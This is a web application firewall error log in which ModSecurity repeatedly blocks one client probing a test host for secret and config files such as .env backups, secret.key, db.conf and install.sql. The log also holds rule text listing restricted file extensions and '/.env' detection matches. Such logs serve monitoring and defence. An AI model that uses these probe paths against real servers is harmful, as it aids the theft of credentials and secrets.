[Mon Jul 28 20:46:33.647275 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBAAAAAc&quot;]
[Mon Jul 28 20:46:33.647585 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBAAAAAc&quot;]
[Mon Jul 28 20:46:33.647764 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/settings.ini&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBAAAAAc&quot;]
[Mon Jul 28 20:46:33.693666 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBgAAAAc&quot;]
[Mon Jul 28 20:46:33.694008 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBgAAAAc&quot;]
[Mon Jul 28 20:46:33.694185 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/db.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBgAAAAc&quot;]
[Mon Jul 28 20:46:33.716627 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBwAAAAc&quot;]
[Mon Jul 28 20:46:33.716947 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBwAAAAc&quot;]
[Mon Jul 28 20:46:33.717134 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/sql.conf&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkBwAAAAc&quot;]
[Mon Jul 28 20:46:33.739489 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkCAAAAAc&quot;]
[Mon Jul 28 20:46:33.739635 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkCAAAAAc&quot;]
[Mon Jul 28 20:46:33.739835 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkCAAAAAc&quot;]
[Mon Jul 28 20:46:33.740009 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkCAAAAAc&quot;]
[Mon Jul 28 20:46:33.833161 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkDAAAAAc&quot;]
[Mon Jul 28 20:46:33.833498 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkDAAAAAc&quot;]
[Mon Jul 28 20:46:33.833685 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/secret.key&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkDAAAAAc&quot;]
[Mon Jul 28 20:46:33.973213 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.well-known/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkEgAAAAc&quot;]
[Mon Jul 28 20:46:33.973425 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkEgAAAAc&quot;]
[Mon Jul 28 20:46:33.973583 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.well-known/.env&quot;] [unique_id &quot;aIfFiVcqnrybmcpdiyhkEgAAAAc&quot;]
[Mon Jul 28 20:46:34.129836 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkGAAAAAc&quot;]
[Mon Jul 28 20:46:34.130159 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkGAAAAAc&quot;]
[Mon Jul 28 20:46:34.130370 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.bak&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkGAAAAAc&quot;]
[Mon Jul 28 20:46:34.765941 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sh&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkMgAAAAc&quot;]
[Mon Jul 28 20:46:34.766189 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkMgAAAAc&quot;]
[Mon Jul 28 20:46:34.766418 2025] [:error] [pid 1533944] [client 185.177.72.201:61026] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sh&quot;] [unique_id &quot;aIfFilcqnrybmcpdiyhkMgAAAAc&quot;]
[Mon Jul 28 20:46:35.098884 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9gAAAAA&quot;]
[Mon Jul 28 20:46:35.099222 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9gAAAAA&quot;]
[Mon Jul 28 20:46:35.099407 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/install.sql&quot;] [unique_id &quot;aIfFi8c5NK034Azyi1-I9gAAAAA&quot;]
[Mon Jul 28 20:46:35.121762 2025] [:error] [pid 1534264] [client 185.177.72.201:61040] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag 